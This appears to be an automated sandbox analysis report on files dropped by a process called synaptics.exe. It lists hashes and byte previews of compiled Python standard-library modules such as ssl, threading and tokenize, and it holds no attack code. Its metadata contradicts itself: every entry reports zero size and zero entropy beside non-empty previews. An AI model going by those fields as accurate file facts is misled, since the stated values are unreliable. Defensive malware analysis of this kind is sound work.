              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:4B0F84CA844B51C2B7B859C381D4C8D5
              SHA1:8F1AFE174E907C2DDB72890E47A98E2EC287548A
              SHA-256:427A61C65EBCB82CB8985EA4230E8CC730DF186FF1F53BA212F5287FE2B7F39A
              SHA-512:67761BE2F747C3E8B6896A9ACD42EDF52DC58E732066A8B3DD1A77A6445BDBF70D722B96F69D844BD085999832F7CE26D3EDE6E562411F5F710652B954B8F632
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dq........................@...sT...d.Z.d.d.l.Z.d.d.l.T.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...z.d.d.l.Z.W.n...e.y3......d.Z.Y.n.w.e.e.d.d...Z.e.e.d.d...Z.e.e.d.d...Z.g.d...Z.e...e...e.......e...d.e.d.d.......e...d.e.d.d.......e...d.e.d.d.......e...d.e.d.d.......d.Z.d.Z.d.d...Z.e.j.......d.....r.i.Z.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d <.d!e.d"<.d#e.d$<.d%e.d&<.d'e.d(<.d)e.d*<.d+e.d,<.d-e.d.<.d/e.d0<.d1e.d2<.d3e.d4<.d5e.d6<.d7e.d8<.d9e.d:<.d;e.d<<.d=e.d><.d?e.d@<.dAe.dB<.dCe.dD<.dEe.dF<.dGe.dH<.dIe.dJ<.dKe.dL<.dMe.dN<.dOe.dP<.dQe.dR<.dSe.dT<.dUe.dV<.dWe.dX<.dYe.dZ<.d[e.d\<.d]e.d^<.d_e.d`<.dae.db<.dce.dd<.dee.df<.dge.dh<.die.dj<.dke.dl<.dme.dn<.doe.dp<.dqe.dr<.dse.dt<.due.dv<.dwe.dx<.dye.dz<.d{e.d|<.d}e.d~<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\sre_compile.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:31C749719D45DE9C7FC0A1BFD33E04D0
              SHA1:2F01DEA5EA28A854FCD7C0639CBDFCD525D98A1D
              SHA-256:F34C43A4AD611C9582E01F3D1B4A66E9C3CECE9B76A746C50386CDD1560E111C
              SHA-512:2B1ADA39CF1A566ECD5B1EB8015A1375A2C85D1F839157987AFFC724C14336E6ECB54370F63B842BD25EA7D67AFA360C5EAE47BACC5531231DF837CAFFDA143B
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dmp.......................@...s$...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.e.j.e.k.s.J.d.....e.e.h.Z.e.e.e.h.Z.e.e.h.Z.e.e.h.Z.e.e.e.h.B.Z.d.Z.d.d...e.D...Z.e.j.f.d.d...Z.d.d...Z.d.d...Z.d-d.d...Z.e.j.d...Z.d.e.>.d...Z.d.Z.e.e f.d.d...Z!d.d...Z"d.d...Z#d.d...Z$d.d...Z%d.d...Z&d.d ..Z'd!d"..Z(d#d$..Z)d%d&..Z*d'd(..Z+d)d*..Z,d.d+d,..Z-d.S.)/z.Internal support module for sre.....N)...*z.SRE module mismatch).)..i...i1...)..s...i....).....i....).iE...i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i2...i....).i4...i....).i>...i....).iA...i....).iB...i....i....).iJ...i....).ic...i....).i....iK...).ia...i....).i....i....c........................s....i.|.].}.|.D.].....t...f.d.d...|.D.......q.q.S.).c....................3...s......|.].}...|.k.r.|.V...q.d.S...N..)....0..j....ir.....9C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\sre_compile.py..<genexpr>N...s........z.<dictcomp>.<genexpr>)...tuple).r......tr....r....r

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\sre_constants.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:D24CCD2EAD47927C8CB20ACB41BCD4D2
              SHA1:6A16F9D125F55FF92DA849DE010CF0E70737228A
              SHA-256:97B0FD7F6905A10F73E2045355E0CBACFFD4C831E2211BE6BCCFDE128D83DF0B
              SHA-512:C75A9FE3992CA236A23ADEA1C102D3A4220C0F773FEEA9E8B077DFAB60ABFDD9988C594C8EFC5D5917388CE7B176434A5AA7C3BFA5E775CC912FB9ABA9BFE74D
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s^...d.Z.d.Z.d.d.l.m.Z.m.Z...G.d.d...d.e...Z.G.d.d...d.e...Z.e.e.d...Z.d.d...Z.e.d...Z.e.d.d...=.e.d...Z.e.d...Z.e.e.e.e.i.Z.e.e.e.e.i.Z.e.e.e.e.i.Z.e.e.e.e.i.Z.e.e.e.e i.Z!e.e"e.e#i.Z$e%e%e&e&e'e'e(e(e)e*e+e,e-e-e.e.i.Z/e%e0e&e1e'e2e(e3e)e4e+e5e-e6e.e7i.Z8d.Z9d.Z:d.Z;d.Z<d.Z=d.Z>d.Z?d.Z@d.ZAd.ZBd.ZCd.ZDeEd.k...r-d.d...ZFeGd.d....zZHeH.Id.....eH.Id.e.......eFeHe.d ....eFeHe.d!....eFeHe.d!....eH.Id"e9......eH.Id#e:......eH.Id$e;......eH.Id%e<......eH.Id&e=......eH.Id'e>......eH.Id(e?......eH.Id)e@......eH.Id*eA......eH.Id+eB......eH.Id,eC......eH.Id-eD......W.d.........n.1...s"w.......Y...eJd.....d.S.d.S.)/z.Internal support module for srei..3......)...MAXREPEAT..MAXGROUPSc........................s&...e.Z.d.Z.d.Z.d.Z.d...f.d.d...Z.....Z.S.)...errorai...Exception raised for invalid regular expressions... Attributes:.. msg: The unformatted error message. pattern: The regular expression pattern. pos: The index in the pattern

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\sre_parse.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:7B6D72B8A44B4C902149C471D63A92E4
              SHA1:3970FC2E7B1F628C9ED5BBEC8A47F37CE94B8034
              SHA-256:3323A568D46DF8467FB157CFCE63A21CDB9CE4D22EDA3A3912C2B156C03CA221
              SHA-512:6196588818F700CBB4C76091027E99C6224B5CEEAD41E3680A38049884D99D1B3A307AA9413B82D81A173B952787C927DE9A6247CB509C71005579510072E344
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.d.d.l.T.d.Z.d.Z.e.d...Z.e.d...Z.e.d...Z.e.d...Z.e.d...Z.e.e.e.h...Z.e.e.e.e.e.e.e.h...Z.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.d...Z.e.e.f.e.e.f.e.e.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e f.d...Z!e"e#e$e%e&e'e(e)d...Z*e'e#B.e)B.Z+e,e(B.Z-G.d.d...d.e...Z/G.d.d...d...Z0G.d.d...d...Z1G.d.d...d...Z2d.d...Z3d.d ..Z4d!d"..Z5d#d$..Z6d3d&d'..Z7d(d)..Z8d*d+..Z9d4d-d...Z:d/d0..Z;d1d2..Z<d,S.)5z.Internal support module for sre.....)...*z..\[{()*+?^$|z.*+?{Z.0123456789Z.01234567Z.0123456789abcdefABCDEFZ4abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZz. ............................\).z.\a..\bz.\fz.\nz.\rz.\tz.\vz.\\).z.\Ar....z.\Bz.\dz.\Dz.\sz.\Sz.\wz.\Wz.\Z)...i..L..m..s..x..a..t..uc....................@...s....e.Z.d.Z.d.S.)...VerboseN)...__name__..__module__..__qualname__..r....r.....7C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\sre_parse.pyr....G...s........r....c.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\ssl.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:94DF6931B7083DCBB9088AEDE536B892
              SHA1:17B88DDE5AD404E29153A482B15F0AA19A3883E7
              SHA-256:68B0668CBDE3E4B1926CACA7EBBBA4FB8AA90542B7C4E2374542D0F58F9E236A
              SHA-512:0111C62E60AFE1333066CFE1BBC1A2F5BE58CABE9113029CFFEA3B2DDF219EA3CE18869FE811808FDEDB888736619DF963774F3BB03E78A5B9F126C8AA93DA68
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m Z m!Z!..z.d.d.l.m"Z"..W.n...e#yi......Y.n.w.d.d.l.m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-..d.d.l.m.Z.m/Z/..e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e2j3..Z4e2_4d.d...e2j5.6..D...Z7e8e2d.d...Z9G.d.d...d.e...Z:G.d d!..d!e...Z;G.d"d#..d#e...Z<G.d$d%..d%e...Z=e.j>d&k...r.d.d'l.m?Z?m@Z@..d.d(lAmAZAmBZBmCZC..d.d)lAmDZDmEZEmFZF..d.d.lAZGd.d.lHZHd.d.lIZId.d.lJZJeKZLd*g.ZMeNe.d+..ZOe.ZPe.ZQd,d-..ZRd.d/..ZSd0d1..ZTd2d3..ZUe.d4d5..ZVd6d7..ZWG.d8d9..d9e.d9d:....ZXG.d;d<..d<eXe...ZYG.d=d>..d>e...ZZeYj[f.d.d.d.d?..d@dA..Z\d[e]dBeYj[d.d.d.d.d.dC..dDdE..Z^e\Z_e^Z`G.dFdG..dG..ZadHdI..ZbG.dJdK..dKeA..ZceceZ_deaeZ_ed.d.dBe]e3d.dLdLd.f.dMdN..ZfdOdP..ZgdQZhdRZidSdT..ZjdUdV..Zkeld.eFf.dWdX..ZmdYdZ..Znd.S.)\

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\stat.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:B420FD6B45145E5578D7DE84C1254106
              SHA1:E8728BA0B7B4E66FBF1AFDFF4FBADD32F8DE3E3E
              SHA-256:5A799964C0EA8DF090236EA241BF2C93438A55B3F65E82904A27630333CACFFB
              SHA-512:FC56342B6BFE6F5A2F24780F40BF13F4EA0EA1E59806498D550A694ACFB321626DFB06A6629CC05F1E3DDAFE34D1EE48C8FBA4E4AC2B5B2BCD02F50929DF5C16
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d0........................@...sJ...d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d(d)..Z d*Z!d+Z"e"Z#d,Z$d-Z%d.Z&d/Z'd0Z(d-Z)d.Z*d/Z+d1Z,d2Z-d3Z.d.Z/d.Z0d.Z1d.Z2d.Z3d.Z4d.Z5d.Z6d.Z7d3Z8d2Z9d.Z:d4Z;d5Z<d6Z=d7Z>d8Z?e.d9f.e.d:f.e.d;f.e.d<f.e.d=f.e.d>f.e.d?f.f.e)d@f.f.e*dAf.f.e+e!B.d:f.e!dBf.e+dCf.f.e-d@f.f.e.dAf.f.e/e"B.d:f.e"dBf.e/dCf.f.e1d@f.f.e2dAf.f.e3e$B.dDf.e$dEf.e3dCf.f.f.Z@dFdG..ZAd2ZBd*ZCd/ZDd3ZEd.ZFd.ZGd.ZHd.ZId.ZJd5ZKd.ZLd.ZMd+ZNd,ZOd.ZPd-ZQd4ZRz.d.dHlST.W.dIS...eT..y$......Y.dIS.w.)JzoConstants/functions for interpreting results of os.stat() and os.lstat()...Suggested usage: from stat import *...................................................c....................C........|.d.@.S.).zMReturn the portion of the file's mode that can be set by. os.chmod().. i..........moder....r.....2C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\stat.py..S_IMO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\string.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:81D535AA898A5486EF0D4875D63A19DF
              SHA1:A59F297BB493133A6458CA7ECFFDA20669095F7E
              SHA-256:4B3DC2EECD16DD71A711C07172D82F89D9316108007F0D78A21A77728658BC4F
              SHA-512:4D6F7DED8AE20C19ADC5CC93055668A573D3E8399E3B412B298219100C0425CFC70B52FCF29A3F22E462C2191D26B8AC72136A8B06D256EAF9999CF53DE9D2D9
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d^*.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.Z.d.Z.d.Z.e.e...Z.d.Z.e.d...d...Z.d.Z.d.Z.e.e...e...e...Z.d.d.d...Z.d.d.l.Z.d.d.l.m.Z...i.Z.G.d.d...d...Z.e.......G.d.d...d...Z.d.S.).an...A collection of string constants...Public module variables:..whitespace -- a string containing all ASCII whitespace.ascii_lowercase -- a string containing all ASCII lowercase letters.ascii_uppercase -- a string containing all ASCII uppercase letters.ascii_letters -- a string containing all ASCII letters.digits -- a string containing all ASCII decimal digits.hexdigits -- a string containing all ASCII hexadecimal digits.octdigits -- a string containing all ASCII octal digits.punctuation -- a string containing all ASCII punctuation characters.printable -- a string containing all ASCII characters considered printable..)...ascii_letters..ascii_lowercase..ascii_uppercase..capwords..digits..hexdigits..octdigits..printable..punctuation..whitespace..Formatter..Template.....Nz. .....Z.abcdefg

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\stringprep.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:05F805C63E2B5E2EDF82E81ABD81EF99
              SHA1:7EE7CB1DA40DB5754D4E1179B4911EC51C23D937
              SHA-256:1D35DFB2D3B463A014BAFF894288AD1615831F525B00208850612F58477E16E3
              SHA-512:DEE9BBBAFA9694C67BD9E85EF6C565B678B9F6BCC44109EB321F1D83D7EC88D33A816FF32720010355E92C902B85A5B92AD524696ED286D0AABA74A06E599D61
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.3.......................@...s....d.Z.d.d.l.m.Z...e.j.d.k.s.J...d.d...Z.e.g.d...e.e.d.d.........Z.d.d...Z.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d ..d!d"..d#d$..d%d&..d'd(..d)d*..d+d,..i.d-d...d/d0..d1d2..d3d ..d4d5..d6d7..d8d9..d:d;..d<d=..d>d?..d@dA..dBdC..dDdE..dFdG..dHdI..dJdK..dLdM....i.dNdO..dPdQ..dRdS..dTdU..dVdW..dXdY..dZd[..d\dM..d]dO..d^dQ..d_dS..d`dU..dadW..dbdY..dcd[..ddde..dfdg....i.dhdi..djdk..dldm..dndo..dpdq..drds..dtde..dudg..dvdi..dwdk..dxdm..dydo..dzdq..d{ds..d|d}..d~d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d}..d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d..d.d..d.d...d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d....i.d.d..d.d..d.d..d.d..d.d...d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\struct.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:55A2A78219F1BF124116FB1B3F7DEC3B
              SHA1:D2FA1F52C0882DA48F6396D7E50B8BC9D534BA9D
              SHA-256:D02B6CDC89B4939C1C028B4C27BA82093993C54D6432E9E956995A85321D3093
              SHA-512:79DC510B1D9AEB0A0C339E00B5B5A27B872BA60BDEC6AA729204E9F61B55AD1CEC63DAB7286F1927DE6ABF969E4CE1DB7B8710C2B95D9CA23C9441D84424DBB9
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s,...g.d...Z.d.d.l.T.d.d.l.m.Z...d.d.l.m.Z...d.S.).).Z.calcsize..packZ.pack_into..unpackZ.unpack_fromZ.iter_unpack..Struct..error.....)...*)..._clearcache)...__doc__N)...__all__Z._structr....r......r....r.....4C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\struct.py..<module>....s............

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\tempfile.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:1BBEB8EAF2F1A6D21A3376455EE42814
              SHA1:7716EC652CB6EBC378810FF68E336809B5C246B3
              SHA-256:D98918D230FB9CCB16FF8E2BE02620F12742929E2950469CA903FA4777F20B61
              SHA-512:30B52C51651CD01837FC092A2EC8C664D79A8637665E0FA925AD060DB6D4F1E3F3AB2377440F401DA3C072C851D924A7D94A77AB71E3F7BC230374E63158E375
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dku.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.Z.e.j.e.j.B.e.j.B.Z.e.e.d...rJe.e.j.O.Z.e.Z e.e.d...rVe e.j!O.Z e.e.d...r_e.j"Z"n.d.Z"d.Z#e...Z$d.d...Z%d.d...Z&d.d...Z'G.d.d...d...Z(d.d...Z)d.d...Z*d.a+d.d...Z,d.d...Z-d.d...Z.d.d...Z/d.a0d.d...Z1d d!..Z2d"d#..Z3d?d%d&..Z4d@d'd(..Z5d)e#d.f.d*d+..Z6G.d,d-..d-..Z7G.d.d/..d/..Z8.....2dAd.d3..d4d5..Z9e.j:d6k.s.e.j;d7k.r.e9Z<n.e.e.d8..a=......dBd.d3..d9d:..Z<G.d;d<..d<..Z>G.d=d>..d>..Z?d.S.)Ca....Temporary files...This module provides generic, low- and high-level interfaces for.creating temporary files and directories. All of the interfaces.provided by this module can be used without fear of race conditions.except for 'mktemp'. 'mktemp' is subject to race conditions and.should not be used; it is provided for backward compatibility only...The default path names are returned as str. If you supply bytes as.input, all return values will b

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\threading.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:2BE88CBC0458FF99E0813097BBE273EF
              SHA1:13656AAE9C2DC7F15763CD719449708720143BF8
              SHA-256:15FCFD31B72E24076DB1948FC23E1BB9A7AB54404EB3B38880189E675B719B80
              SHA-512:BDD84DAD93628F32332996ECAE28327D12255A8B8423B2C4B92923A28AE4D49A2D618ACB0CC187F554E25D3CBB35DF17F3C9FD4F9D0D092840A92258328D436A
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s6...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...z.d.d.l.m.Z...W.n...e.y=......d.d.l.m.Z...Y.n.w.g.d...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.z.e.j.Z.d.Z.e...d.....W.n...e ye......d.Z.Y.n.w.e.j!Z"z.e.j#Z$W.n...e yy......d.Z$Y.n.w.e.j%Z%[.d.a&d.a'd.d...Z(d.d...Z)d.d...Z*d.d...Z+e.Z,d.d...Z#G.d.d...d...Z-e-Z.G.d.d...d...Z/G.d.d...d...Z0G.d.d...d.e0..Z1G.d.d...d...Z2G.d.d ..d ..Z3G.d!d"..d"e4..Z5e.d#..j6Z7d$d%..Z8e#..a9i.Z:i.Z;e...Z<e...a=e>..a?d&d'..Z@G.d(d)..d)..ZAz.d.d*l.mBaCmDZE..W.n#..e...y.......d.d+lFmGZH..d.d,l.mIZI..eId-d...ZDd/d-..ZEd0d1..aCY.n.w.tCZJd2d3..ZKG.d4d5..d5eA..ZLG.d6d7..d7eA..ZMG.d8d9..d9eA..ZNd:d;..ZOd<d=..ZPd>d?..ZQd@dA..ZRdBdC..ZSdDdE..ZTg.ZUd.aVdFdG..ZWd.dHl.mXZX..eM..aYdIdJ..ZZdKdL..Z[z.d.dMl.m\Z]..W.n...e...y.......d.dNl^m]Z]..Y.n.w.dOdP..Z_e`e.dQ....r.e.jae_dR....d.S.d.S.)Sz;Thread module emulating a subset of Java's threading model......N)...monotonic)...WeakSet)...islice..count)...deque)...get_ident

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\token.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:D9C559FBF03942538BBEA654DD693107
              SHA1:A9690EBFF9E01C5817A07210797F811296F555FB
              SHA-256:2DF97EE0DDCBB8DA195F8D615180D9326B4C530D2F10E86515CB78AD854C642B
              SHA-512:3E495BDE6C09D2FA8F499AA92011E50DD8BDD692267FF426E2DE8A24BDBB30A49DD1EE74F6916F55FF6D0C8A02DE25A2ADFF6E9A2950AFD3C00EE736BE2A8021
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sF...d.Z.g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d Z d!Z!d"Z"d#Z#d$Z$d%Z%d&Z&d'Z'd(Z(d)Z)d*Z*d+Z+d,Z,d-Z-d.Z.d/Z/d0Z0d1Z1d2Z2d3Z3d4Z4d5Z5d6Z6d7Z7d8Z8d9Z9d:Z:d;Z;d<Z<d=Z=d>Z>d?Z?d@Z@dAZAdBZBdCZCdDdE..eD...E..D...ZFe..GeF.H......i.dFe...dGe...dHe*..dIe...dJe+..dKe...dLe...dMe...dNe%..dOe0..dPe(..dQe...dRe&..dSe...dTe...dUe'..dVe5..i.dWe...dXe6..dYe...dZe1..d[e2..d\e)..d]e...d^e7..d_e...d`e...dae#..dbe...dce...dde...dee...dfe...dge ....e$e/e3e4e.e.e"e-e.e.e,e.e!dh....ZIdidj..ZJdkdl..ZKdmdn..ZLdoS.)pz.Token constants.)...tok_name..ISTERMINAL..ISNONTERMINAL..ISEOF................................................................................................................................................................. ....!...."....#....$....%....&....'....(....)....*....+....,....-........./....0....1....2....3....4....5....6....7....8....9....:....;....<....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\tokenize.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:2F93005580EF01639F8538CDBB0C6F16
              SHA1:40988BE8C2567A79C8612865483FD1814F72EA0B
              SHA-256:4620164C3F570130BD01BFF72AF3BBC2DA513943028C6E913BA1F40C1CB31D47
              SHA-512:D8EAB3A4A2802AB52D8D39266932E879DACB34F4B6AC81E4F6B13483DE743E9A089A526E968A5357FAE1A96E562CD4FBB11D39DCEB52F0FB835ABFBF834D1A07
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.g.......................@...sT...d.Z.d.Z.d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z...e...d.e.j...Z.e...d.e.j...Z.d.d.l.Z.e.j.g.d.....Z.[.G.d.d...d.e...d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.e.e.d.e.......e.e.....Z.d.Z d.Z!d.Z"d.Z#d.Z$e.e!e"e#e$..Z%d.Z&e.d.d ..e.e&....Z'd!e&..Z(e.e'e(..Z)e.d"e)d#....Z*e.e*e)e%..Z+d$d%..Z,e.j-d&d'....Z.e.e,....Z/d(Z0d)Z1d*Z2d+Z3e.e/d,..e/d-....Z4e.e/d...e/d/....Z5e.e6e.j7e8e.d0d1......Z9e.d2e9..Z:e.e+e:e5e ..Z;e.e;..Z<e.e/d3..e.d4d.....e/d5..e.d6d.......Z=e.d7e.e4..Z>e.e.e>e+e:e=e ....Z?i.Z@e,..D.].ZAe0e@eAd4..<.e1e@eAd6..<.e2e@eAd,..<.e3e@eAd-..<...q.eB..ZCeB..ZDe,..D.]%ZEeEd6..eEd4..f.D.].ZFeC.GeF......qIeEd-..eEd,..f.D.].ZFeD.GeF......qZ..q?d8ZHG.d9d:..d:eI..ZJG.d;d<..d<eI..ZKG.d=d>..d>..ZLd?d@..ZMdAdB..ZNdCdD..ZOdEdF..Z.dGdH..ZPdIdJ..ZQdKdL..ZRdMdN..ZSeTdOk...r.eS....d.S.d.S.)Pao...Tokenization help for Python programs...tokenize(readline) is a generator that breaks a stream

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\traceback.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:4A11EC0FF717654D777126A9B5ACC5B4
              SHA1:008DA70565AACBFC4BEA576BD0876DA2766533F1
              SHA-256:C0D793E1CDFB32FDE0B8EEA21D7A572814934E5EF7E1AC32F5196AB3AF1CCAF5
              SHA-512:93E180B88E7CC307C17955FEB19AA616590C4B2B817D9C3368F22514A67A293DCF395C5D3DAD27D6ACC39F29D752FBB11D5167CF15303E8A44E86DDD5E1D2D3D
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.i.......................@...sJ...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d8d.d...Z.d.d...Z.d9d.d...Z.d8d.d...Z.d8d.d...Z.d.Z.d.Z.G.d.d...d...Z.e...Z.d.d...Z.e.e.d.d.d.f.d.d...Z.e.e.d.d.f.d.d...Z.e.f.d.d...Z.d.d...Z.d.d...Z.d:d.d ..Z.d;d!d"..Z.d:d#d$..Z.d<d%d&..Z.d9d'd(..Z.d9d)d*..Z.d+d,..Z.G.d-d...d...Z.d/d0..Z.d1d2..Z.d3Z.G.d4d5..d5e ..Z!G.d6d7..d7..Z"d.S.)=z@Extract, format and print information about Python stack traces......N)...extract_stack..extract_tb..format_exception..format_exception_only..format_list..format_stack..format_tb..print_exc..format_exc..print_exception..print_last..print_stack..print_tb..clear_frames..FrameSummary..StackSummary..TracebackException..walk_stack..walk_tbc....................C...s4...|.d.u.r.t.j.}.t...|.......D.].}.t.|.|.d.d.....q.d.S.).zyPrint the list of tuples as returned by extract_tb() or. extract_stack() as a formatted stack trace to the given 